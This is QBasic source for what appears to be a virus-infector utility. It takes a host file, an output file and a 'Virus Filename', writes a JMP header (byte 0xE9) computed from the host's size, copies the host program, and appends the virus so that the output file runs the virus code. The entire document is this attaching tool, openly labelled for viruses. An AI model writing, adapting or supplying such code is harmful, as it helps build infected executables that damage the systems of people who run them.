DECLARE FUNCTION Dec! (hx$) DIM dd AS STRING * 1 CLS INPUT "In Filename"; f$ INPUT "Out Filename"; of$ INPUT "Virus Filename"; vf$ OPEN f$ FOR BINARY AS #1 OPEN of$ FOR BINARY AS #2 OPEN vf$ FOR BINARY AS #3 fs = LOF(1) oo$ = "" mm$ = UCASE$(RTRIM$(LTRIM$(HEX$(fs)))) IF LEN(mm$) = 3 THEN mm$ = "0" + mm$ IF LEN(mm$) = 5 THEN mm$ = "0" + mm$ IF LEN(mm$) = 7 THEN mm$ = "0" + mm$ IF LEN(mm$) = 9 THEN mm$ = "0" + mm$ FOR q = LEN(mm$) - 1 TO 1 STEP -2 IF Dec(MID$(mm$, q, 2)) = 0 THEN GOTO 2 oo$ = oo$ + CHR$(Dec(MID$(mm$, q, 1) + MID$(mm$, q + 1, 1))) 2 NEXT q Hdr$ = "é" + oo$ IF LEN(Hdr$) = 2 THEN Hdr$ = "é" + CHR$(0) + MID$(Hdr$, 2, 1) CLS FOR q = 1 TO LEN(Hdr$) dd = MID$(Hdr$, q, 1) PUT #2, , dd LOCATE 1, 1, 0: PRINT "Writing output file header." dd = "" NEXT q LOCATE 1, 1: PRINT "Header complete. " dd = "" FOR q2 = 1 TO LOF(1) GET #1, , dd LOCATE 2, 1: PRINT "Reading input file data. " PUT #2, , dd LOCATE 2, 1: PRINT "Writing output file data. " dd = "" NEXT q2 LOCATE 2, 1: PRINT "Original File complete" dd = "" FOR q3 = 1 TO LOF(3) GET #3, , dd LOCATE 3, 1: PRINT "Reading virus file data. " PUT #2, , dd LOCATE 3, 1: PRINT "Writing output file data. " dd = "" NEXT q3 LOCATE 3, 1: PRINT "Virus file complete " LOCATE 4, 1: PRINT "Done!" CLOSE 1, 2, 3 FUNCTION Dec (hx$) FOR lq = 0 TO 256 ma$ = HEX$(lq) IF LEN(ma$) = 1 THEN ma$ = "0" + ma$ IF LEN(ma$) = 3 THEN ma$ = "0" + ma$ IF LEN(ma$) = 5 THEN ma$ = "0" + ma$ IF UCASE$(ma$) = UCASE$(hx$) THEN Dec = lq NEXT lq END FUNCTION